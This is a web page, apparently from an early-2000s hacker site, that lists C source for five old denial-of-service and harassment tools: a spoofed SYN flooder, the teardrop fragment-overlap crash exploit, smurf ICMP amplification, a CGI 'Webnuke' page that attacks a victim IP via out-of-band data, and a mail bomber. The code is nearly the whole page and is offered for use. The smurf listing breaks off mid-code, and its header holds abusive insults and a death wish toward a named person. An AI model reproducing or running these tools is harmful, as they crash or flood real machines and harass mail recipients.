Back

Source

===='synful.c'==='Teardrop'==='smurf.c'==='WinNuke (WebNuke)'==='MBomb.c'====



Synful.c (SYN)

/* synful.c - SYN (SYN/ACK and ACK blow) written by \\StOrM\\ */



#include <stdio.h>


#include <stdlib.h>


#include <signal.h>


#include <string.h>


#include <unistd.h>


#include <netdb.h>


#include <netinet/in.h>


#include <sys/socket.h>


#include <sys/time.h>


#include <arpa/inet.h>


#include <linux/ip.h>


#include <linux/tcp.h>



void dosynpacket(unsigned int, unsigned int, unsigned short, unsigned short);


unsigned short in_cksum(unsigned short *, int);


unsigned int host2ip(char *);



main(int argc, char **argv)


{


unsigned int srchost;


char tmpsrchost[12];


int i,s1,s2,s3,s4;


unsigned int dsthost;


unsigned short port=80;


unsigned short random_port;


unsigned int number=1000;


printf("synful [It's so synful to send those spoofed SYN's]\n");


printf("Hacked out by \\\\StOrM\\\\\n\n");


if(argc < 2)


{


printf("syntax: synful targetIP\n", argv[0]);


exit(0);


}


initrand();


dsthost = host2ip(argv[1]);


if(argc >= 3) port = atoi(argv[2]);


if(argc >= 4) number = atoi(argv[3]);


if(port == 0) port = 80;


if(number == 0) number = 1000;


printf("Destination : %s\n",argv[1]);


printf("Port : %u\n",port);


printf("NumberOfTimes: %d\n\n", number);


for(i=0;i < number;i++)


{


s1 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));


s2 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));


s3 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));


s4 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));


random_port = 1+(int) (10000.0*rand()/(RAND_MAX+1.0));


sprintf(tmpsrchost,"%d.%d.%d.%d",s1,s2,s3,s4);


printf("Being Synful to %s at port %u from %s port %u\n", argv[1], port, tmpsrchost, random_port);


srchost = host2ip(tmpsrchost);


dosynpacket(srchost, dsthost, port, random_port);


}


}



void dosynpacket(unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port, unsigned short ran_port) {


struct send_tcp


{


struct iphdr ip;


struct tcphdr tcp;


} send_tcp;


struct pseudo_header


{


unsigned int source_address;


unsigned int dest_address;


unsigned char placeholder;


unsigned char protocol;


unsigned short tcp_length;


struct tcphdr tcp;


} pseudo_header;


int tcp_socket;


struct sockaddr_in sin;


int sinlen;





/* form ip packet */


send_tcp.ip.ihl = 5;


send_tcp.ip.version = 4;


send_tcp.ip.tos = 0;


send_tcp.ip.tot_len = htons(40);


send_tcp.ip.id = ran_port;


send_tcp.ip.frag_off = 0;


send_tcp.ip.ttl = 255;


send_tcp.ip.protocol = IPPROTO_TCP;


send_tcp.ip.check = 0;


send_tcp.ip.saddr = source_addr;


send_tcp.ip.daddr = dest_addr;





/* form tcp packet */


send_tcp.tcp.source = ran_port;


send_tcp.tcp.dest = htons(dest_port);


send_tcp.tcp.seq = ran_port;


send_tcp.tcp.ack_seq = 0;


send_tcp.tcp.res1 = 0;


send_tcp.tcp.doff = 5;


send_tcp.tcp.fin = 0;


send_tcp.tcp.syn = 1;


send_tcp.tcp.rst = 0;


send_tcp.tcp.psh = 0;


send_tcp.tcp.ack = 0;


send_tcp.tcp.urg = 0;


send_tcp.tcp.res2 = 0;


send_tcp.tcp.window = htons(512);


send_tcp.tcp.check = 0;


send_tcp.tcp.urg_ptr = 0;





/* setup the sin struct */


sin.sin_family = AF_INET;


sin.sin_port = send_tcp.tcp.source;


sin.sin_addr.s_addr = send_tcp.ip.daddr;





/* (try to) open the socket */


tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);


if(tcp_socket < 0)


{


perror("socket");


exit(1);


}





/* set fields that need to be changed */


send_tcp.tcp.source++;


send_tcp.ip.id++;


send_tcp.tcp.seq++;


send_tcp.tcp.check = 0;


send_tcp.ip.check = 0;





/* calculate the ip checksum */


send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);



/* set the pseudo header fields */


pseudo_header.source_address = send_tcp.ip.saddr;


pseudo_header.dest_address = send_tcp.ip.daddr;


pseudo_header.placeholder = 0;


pseudo_header.protocol = IPPROTO_TCP;


pseudo_header.tcp_length = htons(20);


bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);


send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);


sinlen = sizeof(sin);


sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sinlen);


close(tcp_socket);


}



unsigned short in_cksum(unsigned short *ptr, int nbytes)


{


register long sum; /* assumes long == 32 bits */


u_short oddbyte;


register u_short answer; /* assumes u_short == 16 bits */



/*


* Our algorithm is simple, using a 32-bit accumulator (sum),


* we add sequential 16-bit words to it, and at the end, fold back


* all the carry bits from the top 16 bits into the lower 16 bits.


*/



sum = 0;


while (nbytes > 1) {


sum += *ptr++;


nbytes -= 2;


}



/* mop up an odd byte, if necessary */


if (nbytes == 1) {


oddbyte = 0; /* make sure top half is zero */


*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */


sum += oddbyte;


}



/*


* Add back carry outs from top 16 bits to low 16 bits.


*/



sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */


sum += (sum >> 16); /* add carry */


answer = ~sum; /* ones-complement, then truncate to 16 bits */


return(answer);


}



unsigned int host2ip(char *hostname)


{


static struct in_addr i;


struct hostent *h;


i.s_addr = inet_addr(hostname);


if(i.s_addr == -1)


{


h = gethostbyname(hostname);


if(h == NULL)


{


fprintf(stderr, "cant find %s!\n", hostname);


exit(0);


}


bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);


}


return i.s_addr;


}



void initrand(void)


{


struct timeval tv;





gettimeofday(&tv, (struct timezone *) NULL);


srand(tv.tv_usec);


}





====================================================

Teardrop (Ping)

/* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97

*

* Linux/NT/95 Overlap frag bug exploit

*

* Exploits the overlapping IP fragment bug present in all Linux kernels and

* NT 4.0 / Windows 95 (others?)

*

* Based off of: flip.c by klepto

* Compiles on: Linux, *BSD*

*

* gcc -O2 teardrop.c -o teardrop

* OR

* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING*/



#include <stdio.h>


#include <stdlib.h>


#include <unistd.h>


#include <string.h>


#include <netdb.h>


#include <netinet/in.h>


#include <netinet/udp.h>


#include <arpa/inet.h>


#include <sys/types.h>


#include <sys/time.h>


#include <sys/socket.h>



#ifdef STRANGE_BSD_BYTE_ORDERING_THING


/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */


#define FIX(n) (n)


#else /* OpenBSD 2.1, all Linux */


#define FIX(n) htons(n)


#endif /* STRANGE_BSD_BYTE_ORDERING_THING */



#define IP_MF 0x2000 /* More IP fragment en route */


#define IPH 0x14 /* IP header size */


#define UDPH 0x8 /* UDP header size */


#define PADDING 0x1c /* datagram frame padding for first packet */


#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */


#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can


* withstand maybe 5 or 10 sometimes... Experiment.


*/


void usage(u_char *);


u_long name_resolve(u_char *);


u_short in_cksum(u_short *, int);


void send_frags(int, u_long, u_long, u_short, u_short);



int main(int argc, char **argv)


{


int one = 1, count = 0, i, rip_sock;


u_long src_ip = 0, dst_ip = 0;


u_short src_prt = 0, dst_prt = 0;


struct in_addr addr;



fprintf(stderr, "teardrop route|daemon9\n\n");



if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)


{


perror("raw socket");


exit(1);


}


if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))


< 0)


{


perror("IP_HDRINCL");


exit(1);


}


if (argc < 3) usage(argv[0]);


if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))


{


fprintf(stderr, "What the hell kind of IP address is that?\n");


exit(1);


}



while ((i = getopt(argc, argv, "s:t:n:")) != EOF)


{


switch (i)


{


case 's': /* source port (should be emphemeral) */


src_prt = (u_short)atoi(optarg);


break;


case 't': /* dest port (DNS, anyone?) */


dst_prt = (u_short)atoi(optarg);


break;


case 'n': /* number to send */


count = atoi(optarg);


break;


default :


usage(argv[0]);


break; /* NOTREACHED */


}


}


srandom((unsigned)(time((time_t)0)));


if (!src_prt) src_prt = (random() % 0xffff);


if (!dst_prt) dst_prt = (random() % 0xffff);


if (!count) count = COUNT;



fprintf(stderr, "Death on flaxen wings:\n");


addr.s_addr = src_ip;


fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);


addr.s_addr = dst_ip;


fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);


fprintf(stderr, " Amt: %5d\n", count);


fprintf(stderr, "[ ");



for (i = 0; i < count; i++)


{


send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);


fprintf(stderr, "b00m ");


usleep(500);


}


fprintf(stderr, "]\n");


return (0);


}



/*

* Send two IP fragments with pathological offsets. We use an implementation

* independent way of assembling network packets that does not rely on any of

* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).

*/



void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,


u_short dst_prt)


{


u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */


u_char byte; /* a byte */


struct sockaddr_in sin; /* socket protocol structure */



sin.sin_family = AF_INET;


sin.sin_port = src_prt;


sin.sin_addr.s_addr = dst_ip;



/*

* Grab some memory for our packet, align p_ptr to point at the beginning

* of our packet, and then fill it with zeros.

*/


packet = (u_char *)malloc(IPH + UDPH + PADDING);


p_ptr = packet;


bzero((u_char *)p_ptr, IPH + UDPH + PADDING);



byte = 0x45; /* IP version and header length */


memcpy(p_ptr, &byte, sizeof(u_char));


p_ptr += 2; /* IP TOS (skipped) */


*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */


p_ptr += 2;


*((u_short *)p_ptr) = htons(242); /* IP id */


p_ptr += 2;


*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */


p_ptr += 2;


*((u_short *)p_ptr) = 0x40; /* IP TTL */


byte = IPPROTO_UDP;


memcpy(p_ptr + 1, &byte, sizeof(u_char));


p_ptr += 4; /* IP checksum filled in by kernel */


*((u_long *)p_ptr) = src_ip; /* IP source address */


p_ptr += 4;


*((u_long *)p_ptr) = dst_ip; /* IP destination address */


p_ptr += 4;


*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */


p_ptr += 2;


*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */


p_ptr += 2;


*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */



if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,


sizeof(struct sockaddr)) == -1)


{


perror("\nsendto");


free(packet);


exit(1);


}



/* We set the fragment offset to be inside of the previous packet's

* payload (it overlaps inside the previous packet) but do not include

* enough payload to cover complete the datagram. Just the header will

* do, but to crash NT/95 machines, a bit larger of packet seems to work

* better.

*/


p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */


*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);


p_ptr += 4; /* IP offset is 6 bytes into the header */


*((u_short *)p_ptr) = FIX(MAGIC);



if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,


sizeof(struct sockaddr)) == -1)


{


perror("\nsendto");


free(packet);


exit(1);


}


free(packet);


}



u_long name_resolve(u_char *host_name)


{


struct in_addr addr;


struct hostent *host_ent;



if ((addr.s_addr = inet_addr(host_name)) == -1)


{


if (!(host_ent = gethostbyname(host_name))) return (0);


bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);


}


return (addr.s_addr);


}



void usage(u_char *name)


{


fprintf(stderr,


"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",


name);


exit(0);


}






====================================================

smurf.c (ICMP)

/*

* $Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $

*

* spoofs icmp packets from a host to various broadcast addresses resulting in

* multiple replies to that host from a single packet.

*

* orginial linux code by tfreak, most props to him, all I did was port it to

* operating systems with a less perverse networking system, such as FreeBSD,

* and many others. -Griffin

*

* mad head to: nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea

* pig, MissSatan for swallowing, napster for pimping my sister, the guy that

* invented vaseline, fyber for trying, knowy, old school #havok, kain cos he

* rox my sox, zuez, toxik, robocod, and everyone else that i might have

* missed (you know who you are).

*

* hi to pbug, majikal, white_dragon and <EMAIL: PROTECTED> for being the sexy thing

* he is (he`s -almost- as stubborn as me, still i managed to pick up half

* the cheque).

*

* and a special hi to Todd, face it dude, you`re fucking awesome.

*

* mad anal to: #madcrew/#conflict for not cashing in their cluepons, EFnet

* IRCOps because they plain suck, Rolex for being a twit, everyone that

* trades warez, Caren for being a lesbian hoe, AcidKill for being her

* partner, #cha0s, sedriss for having an ego in inverse proportion to his

* penis and anyone that can`t pee standing up -- you don`t know what your

* missing out on.

*

* and anyone thats ripped my code (diff smurf.c axcast.c is rather

* interesting).

*

* and a HUGE TWICE THE SIZE OF SOLDIER`S FUCK TO AMM FUCK YOU to Bill Robbins

* for trying to steal my girlfriend. Not only did you show me no respect

* but you`re a manipulating prick who tried to take away the most important

* thing in the world to me with no guilt whatsoever, and for that I wish you

* nothing but pain. Die.

*

* disclaimer: I cannot and will not be held responsible nor legally bound for

* the malicious activities of individuals who come into possession of this

* program and I refuse to provide help or support of any kind and do NOT

* condone use of this program to deny service to anyone or any machine. This

* is for educational use only. Please Don`t abuse this.

*

* Well, i really, really, hate this code, but yet here I am creating another

* disgusting version of it. Odd, indeed. So why did I write it? Well, I,

* like most programmers don`t like seeing bugs in their code. I saw a few

* things that should have been done better or needed fixing so I fixed them.

* -shrug-, programming for me as always seemed to take the pain away ...

*

*

*/



#include <signal.h>


#include <stdio.h>


#include <stdlib.h>


#include <netdb.h>


#include <sys/socket.h>


#include <sys/types.h>


#include <netinet/in.h>


#include <netinet/in_systm.h>


#include <netinet/ip.h>


#include <netinet/ip_icmp.h>


#include <ctype.h>


#include <arpa/inet.h>


#include <unistd.h>


#include <string.h>



void banner(void);


void usage(char *);


void smurf(int, struct sockaddr_in, u_long, int);


void ctrlc(int);


unsigned int host2ip(char *hostname);


unsigned short in_chksum(u_short *, int);



unsigned int


host2ip(char *hostname)


{


static struct in_addr i;


struct hostent *h;


i.s_addr = inet_addr(hostname);


if (i.s_addr == -1) {


h = gethostbyname(hostname);


if (h == NULL) {


fprintf(stderr, "can`t find %s.", hostname);


exit(0);


}


bcopy(h->h_addr, (char *) &i.s_addr, h->h_length);


}


return i.s_addr;


}




/* stamp */


char id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $";



int


main(int argc, char *argv[])


{


struct sockaddr_in sin;


FILE *bcastfile;


int i, sock, bcast, delay, num, pktsize, cycle = 0,


x;


char buf[32], **bcastaddr = malloc(8192);



banner();


signal(SIGINT, ctrlc);



if (argc < 6)


usage(argv[0]);




sin.sin_addr.s_addr = host2ip(argv[1]);


sin.sin_family = AF_INET;




num = atoi(argv[3]);


delay = atoi(argv[4]);


pktsize = atoi(argv[5]);



if ((bcastfile = fopen(argv[2], "r")) == NULL) {


perror("opening bcast file");


exit(-1);


}


x = 0;


while (!feof(bcastfile)) {


fgets(buf, 32, bcastfile);


if (buf[0] == `#` || buf[0] == `` || !isdigit(buf[0]))


continue;


for (i = 0; i < strlen(buf); i++)


if (buf[i] == ``)


buf[i] = `







====================================================

WinNuke (WebNuke) (OOB)

/* -----------------------------------------------------------------------.

! Webnuke Version 1.0 (08-Oct-1998) !

! !

! Based upon "winnuke", an "Out Of Band" data Denial-of-Service vul- !

! nerability against Microsoft Windows operating systems. Modified by !

! Michael Schams (http://www.michael-schams.de) for web-applications !

! using the cgic-library by Thomas Boutell (http://www.boutell.com). !

! !

'----------------------------------------------------------------------- */

#include <stdio.h>

#include <string.h>

#include <netdb.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <unistd.h>

#include "cgic.h"

// #define dport 139 // Attack port: 139

int x, s;

char *str = "Bye";

/* Makes no diff */

struct sockaddr_in addr, spoofedaddr;

struct hostent *host;

int open_sock(int sock, char *server, int port)

{

struct sockaddr_in blah;

struct hostent *he;

bzero((char *)&blah, sizeof(blah));

blah.sin_family=AF_INET;

blah.sin_addr.s_addr=inet_addr(server);

blah.sin_port=htons(port);

if ((he = gethostbyname(server)) != NULL)

{

bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);

}

else

{

if ((blah.sin_addr.s_addr = inet_addr(server)) < 0)

{

perror("gethostbyname()");

return(-3);

}

}

if (connect(sock, (struct sockaddr *)&blah, 16)==-1)

{

perror("connect()");

close(sock);

return(-4);

}

printf("Connected to [%s:%d].\n", server, port);

return;

}

void html_kopf()

{

cgiHeaderContentType ("text/html");

fprintf(cgiOut, "<HTML><HEAD><TITLE>Webnuke</TITLE><META HTTP-EQUIV=\"expires\" CONTENT=\"0\"><META name=\"description\" content=\"Based upon winnuke, an Out Of Band data Denial-of-Service vulnerability against Microsoft Windows operating systems\"><META name=\"keywords\" content=\"winnuke, windows, win95, microsoft, out of band, denial of service, vulnerability, tcp, crash\"></HEAD>\n");

fprintf(cgiOut, "<BODY BGCOLOR=\"#cccccc\" TEXT=\"#000000\" LINK=\"#0000ff\" VLINK=\"#0000ff\" ALINK=\"#0000ff\"><A NAME=\"top\"></A>\n");

fprintf(cgiOut, "<TABLE BORDER=\"0\" CELLPADDING=\"0\" CELLSPACING=\"0\" WIDTH=\"100%%\">\n");


fprintf(cgiOut, "<TR><TD ALIGN=\"left\" VALIGN=\"bottom\" WIDTH=\"1%%\"><H1><FONT FACE=\"arial\" COLOR=\"#808080\"><I>Webnuke:</I></FONT></A></TD><TD ALIGN=\"left\" VALIGN=\"bottom\"><HR WIDTH=\"95%%\" SIZE=\"4\" NOSHADE></TD>\n");


fprintf(cgiOut, "</TR></TABLE>\n");


}



void html_fuss()


{


fprintf(cgiOut, "<CENTER><H6><HR WIDTH=\"100%%\" SIZE=\"1\" NOSHADE></CENTER>\n");

fprintf(cgiOut, "<DIV ALIGN=\"right\"><FONT FACE=\"arial\">&copy;&nbsp;Michael&nbsp;Schams<BR>\n");

fprintf(cgiOut, "[<A HREF=\"http://www.michael-schams.de\" TARGET=\"_blank\" onMouseOver=\"window.status='Homepage';return true\" onMouseOut=\"window.status='';return true\">Homepage</A>]&nbsp;\n");

fprintf(cgiOut, "[<A HREF=\"mailto:mail@michael-schams.de\" onMouseOver=\"window.status='EMail';return true\" onMouseOut=\"window.status='';return true\">EMail</A>]</FONT></H6></DIV>\n");

fprintf(cgiOut, "</BODY></HTML>\n");

}


void html_formular()

{

fprintf(cgiOut, "<BR><BR>\n");

fprintf(cgiOut, "<CENTER><TABLE BGCOLOR=\"#000000\" CELLPADDING=\"1\" CELLSPACING=\"0\" BORDER=\"0\" WIDTH=\"90%%\">\n");


fprintf(cgiOut, "<TR><TD ALIGN=\"center\" VALIGN=\"middle\">\n");


fprintf(cgiOut, "<TABLE BGCOLOR=\"#f0f0f0\" CELLPADDING=\"3\" CELLSPACING=\"5\" BORDER=\"0\" WIDTH=\"100%%\">\n");

fprintf(cgiOut, "<TR><TD ALIGN=\"left\" VALIGN=\"top\"><H5 ALIGN=\"justify\"><FONT FACE=\"arial\">\n");

fprintf(cgiOut, "Based upon &quot;winnuke&quot;, an &quot;Out Of Band&quot; data Denial-of-Service\n");

fprintf(cgiOut, "vulnerability against Microsoft Windows operating systems. Modified by Michael Schams\n");

fprintf(cgiOut, "(<A HREF=\"http://www.michael-schams.de\" TARGET=\"_blank\" onMouseOver=\"window.status='Michael Schams';return true\" onMouseOut=\"window.status='';return true\">www.michael-schams.de</A>)\n");

fprintf(cgiOut, "for webapplications using the cgic-library by Thomas Boutell\n");

fprintf(cgiOut, "(<A HREF=\"http://www.boutell.com\" TARGET=\"_blank\" onMouseOver=\"window.status='Boutell.Com, Inc.';return true\" onMouseOut=\"window.status='';return true\">www.boutell.com</A>).\n");

fprintf(cgiOut, "</FONT></TD></TR></TABLE></TD></TABLE></CENTER>\n");

fprintf(cgiOut, "<BR><BR>\n");

fprintf(cgiOut, "<FORM METHOD=\"post\" ACTION=\"%s\">\n", cgiScriptName);

fprintf(cgiOut, "<CENTER>\n");

fprintf(cgiOut, "<TABLE CELLPADDING=\"5\" CELLSPACING=\"0\" BORDER=\"0\">\n");

fprintf(cgiOut, "<TR><TD ALIGN=\"right\" VALIGN=\"middle\"><H5><FONT FACE=\"arial\">Victim's domain/IP:</FONT></TD>\n");

fprintf(cgiOut, "<TD ALIGN=\"left\" VALIGN=\"middle\"><P><INPUT TYPE=\"text\" NAME=\"victim\" VALUE=\"%s\" SIZE=\"40\" MAXLENGTH=\"130\"></INPUT></TD>\n", cgiRemoteHost);

fprintf(cgiOut, "</TR><TR>\n");

fprintf(cgiOut, "<TD ALIGN=\"right\" VALIGN=\"middle\"><H5><FONT FACE=\"arial\">Port:</FONT></TD>\n");

fprintf(cgiOut, "<TD ALIGN=\"left\" VALIGN=\"middle\"><P><INPUT TYPE=\"text\" NAME=\"port\" VALUE=\"139\" SIZE=\"3\" MAXLENGTH=\"3\"></INPUT></TD>\n");

fprintf(cgiOut, "</TR></TABLE>\n");

fprintf(cgiOut, "<H3><FONT FACE=\"arial\" COLOR=\"#ff0000\">Are you really sure?</FONT><BR><BR>\n");

fprintf(cgiOut, "<INPUT TYPE=\"submit\" NAME=\"submit\" VALUE=\"YES!\"></H3></FORM>\n");

fprintf(cgiOut, "</CENTER>\n");

}

void html_fehlerhafte_eingabe()

{

fprintf(cgiOut, "<BR><CENTER><H4><FONT FACE=\"arial\">Incorrect data!<BR>\n");

fprintf(cgiOut, "Is the given &quot;port&quot; valid?\n");

fprintf(cgiOut, "<BR><BR>\n");

fprintf(cgiOut, "[<A HREF=\"%s\" onMouseOver=\"window.status='';return true\" onMouseOut=\"window.status='';return true\">back</A>]\n", cgiScriptName);

fprintf(cgiOut, "</FONT></H4></CENTER>\n");

}

int cgiMain()

{

char victim[132];

char port[5];

int attackport;

cgiFormStringNoNewlines("victim", victim, 131);

cgiFormStringNoNewlines("port", port, 4);

html_kopf();

if (strlen(victim)<1)

{

html_formular();

html_fuss();

exit(0);

}

attackport=atoi(port);

if ( (attackport < 1) || (attackport > 255) )

{

html_fehlerhafte_eingabe();

html_fuss();

exit(0);

}

if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)

{

perror("socket()");

exit(-1);

}

open_sock(s, victim, attackport);

send(s, str, strlen(str), MSG_OOB);

usleep(100000);

fprintf(cgiOut, "<BR><CENTER><H4><FONT FACE=\"arial\">Sending packet... ok!\n");

fprintf(cgiOut, "<BR><BR>\n");

fprintf(cgiOut, "[<A HREF=\"%s\" onMouseOver=\"window.status='';return true\"

onMouseOut=\"window.status='';return true\">again</A>]\n", cgiScriptName);

fprintf(cgiOut, "</FONT></H4></CENTER>\n");

close(s);

html_fuss();

}



====================================================

MBomb.c (Mail)

#include <stdio.h>


#include <math.h>



#define BUF_SIZE 255



int main(int argc, char *argv[])


{


FILE *mail=NULL;


char buffer[BUF_SIZE]="mail -s \"@#$$!@$#!\" ";


int i;


int iter;



if(argc<2)


{


printf("\aTarget not specified!\n");


return -1;


}



strcat(buffer, argv[1]);


for(iter=0; iter<5; iter++)


{


printf("Executing: %s\n", buffer);


mail=popen(buffer, "w");


if(mail==NULL)


{


printf("Error in pipe command.\n");


return -1;


}


for(i=0; i<1500; i++)


fprintf(mail, "\a");


pclose(mail);


}



strcpy(buffer, "mail -s \"Gotcha! (Read this first)\" ");


strcat(buffer, argv[1]);



printf("Executing %s.\n", buffer);





mail=popen(buffer, "w");


if(mail==NULL)


{


printf("Failure in secondary pipe!\n");


return -1;


}



fprintf(mail, "You have just been hit by an electronic pillow in a\n");


fprintf(mail, "pillow fight war. Respond if you dare.\n\n\n");


fprintf(mail, "\x1B[2J\x1B[8m\x1B[13;\"\n\x3y\nmqy\nexit\n\"p\n\n");


fprintf(mail, "This is just a test. Please do NOT press any key to continue.\n");


pclose(mail);


return 0;


}

© MoMolly 2002-2003